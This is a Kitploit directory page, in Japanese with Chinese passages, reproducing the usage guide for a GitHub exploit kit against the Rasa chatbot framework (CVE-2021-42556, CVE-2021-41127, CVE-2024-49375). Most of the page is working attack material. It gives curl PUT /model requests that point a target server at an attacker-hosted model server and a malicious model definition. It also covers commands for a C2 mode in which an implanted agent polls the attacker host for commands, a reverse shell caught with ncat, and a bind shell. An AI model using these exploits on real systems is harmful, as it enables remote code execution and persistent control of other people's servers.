Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/lierbushiwo/rasa-cve-exp
脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトペネトレーションテストコマンド＆コントロールレッドチーミングリモートアクセスツールペイロード開発
GitHublierbushiwo/rasa-cve-exp

Rasa-cve-exp

CVE-2024-49375、CVE-2021-42556、CVE-2021-41127

13ヶ月前未レビュー
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Rasa-cve-exp

CVE-2021-42556

  • server-1.py

そのまま実行するだけです

root@kitploit:~
python server-1.py

image-20260604134536291

任意文件上传

root@kitploit:~
PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage1","wait_time_between_pulls":0}}

image-20260604135046296

効果は以下の通りです：

image-20260604135232815

CVE-2021-41127

  • server-1.py

既定のモデル名は evil_import_model.tar.gz

悪意のあるモデルのデモ

root@kitploit:~
version: "3.1"
intents:
- greet
responses:
  utter_greet:
  - text: "PWNED_BY_CTF"
nlu:
- intent: greet
  examples: |
    - hello
    - hi
rules:
- rule: greet rule
  steps:
  - intent: greet
  - action: utter_greet
ツールをダウンロード

悪意のある対話ルールを設定

greet を入力すると PWNED_BY_CTF が返されます

root@kitploit:~
PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage2-probe-model","wait_time_between_pulls":0}

image-20260604134831347

効果は以下の通りです

image-20260604140230431

CVE-2024-49375

  • model.py
  • reverse_server.py

model.py は圧縮パッケージ内の指定データを変更します

そのまま実行すると既定で /model ディレクトリのモデルを読み込み、修正して現在のディレクトリに evil_import_model.tar.gz として保存します

image-20260604143558105

リバースIPを指定

既定のモデル名は evil_import_model.tar.gz

root@kitploit:~
python reverse_server.py --reverse-host 192.168.244.128

image-20260604140728541

順番にデータを送信するだけです

その他の利用exp

実際のシナリオでは異なる場合があります

  • server-2.py

3つのモード

C2 モード（HTTP ポーリング、推奨）

root@kitploit:~
攻击机                     Rasa容器(target)
  │                            │
  ├─ 启动 server-2.py ─────────┤
  ├─ PUT /model ──→ 下载 pwnmod.py 到 /app/
  ├─ PUT /model ──→ 下载恶意模型 → import pwnmod → agent 启动
  │                            │
  │  ← GET /poll?agent=xxx ───┤  每 3s 轮询
  ├─ /enqueue?cmd=id ─────────┤
  │  ← GET /poll ─────────────┤  拿到命令
  │  ← POST /result ──────────┤  回传结果
  ├─ /last?agent=xxx ──→ 读结果
root@kitploit:~
# 攻击机启动
python server-2.py --mode c2 --c2-base-url http://<攻击机IP>:8000 --port 8000

# 触发 exploit（两步）
curl -X PUT http://<rasa地址>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<攻击机IP>:8000/write-module"}}'

curl -X PUT http://<rasa地址>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<攻击机IP>:8000/model"}}'

# 下发命令
curl "http://<攻击机IP>:8000/enqueue?cmd=id"

# 等 8 秒后读结果（agent 每 3s 轮询 + 执行时间）
curl "http://<攻击机IP>:8000/last?agent=<hostname>"

# 不指定 agent 也行（走通配符）
curl "http://<攻击机IP>:8000/enqueue?cmd=whoami"
curl "http://<攻击机IP>:8000/last"

Reverse モード（リバースシェル）

root@kitploit:~
# 1) 攻击机启动监听
ncat -lvnp 4444

# 2) 攻击机启动 server-2.py
python server-2.py --mode reverse --reverse-host <攻击机IP> --reverse-port 4444 --port 8000

# 3) 触发 exploit
curl -X PUT http://<rasa地址>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<攻击机IP>:8000/write-module"}}'

curl -X PUT http://<rasa地址>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<攻击机IP>:8000/model"}}'

# 4) nc 收到 $ 提示符，直接交互

Bind モード（正方向シェル、あまり使わない）

root@kitploit:~
python server-2.py --mode bind --bind-port 4444 --port 8000
# agent 在目标容器内监听 0.0.0.0:4444
# ncat <目标IP> 4444 即可连接

ポート/アドレス説明

参数含义
--port 8000server-2.py 自体のリスニングポート
--c2-base-urlC2 モードで agent がポーリングする完全な base URL（コンテナからアクセス可能なアドレスである必要があります）
--reverse-hostリバースシェルの接続先 IP
--reverse-portリバースシェルの接続先ポート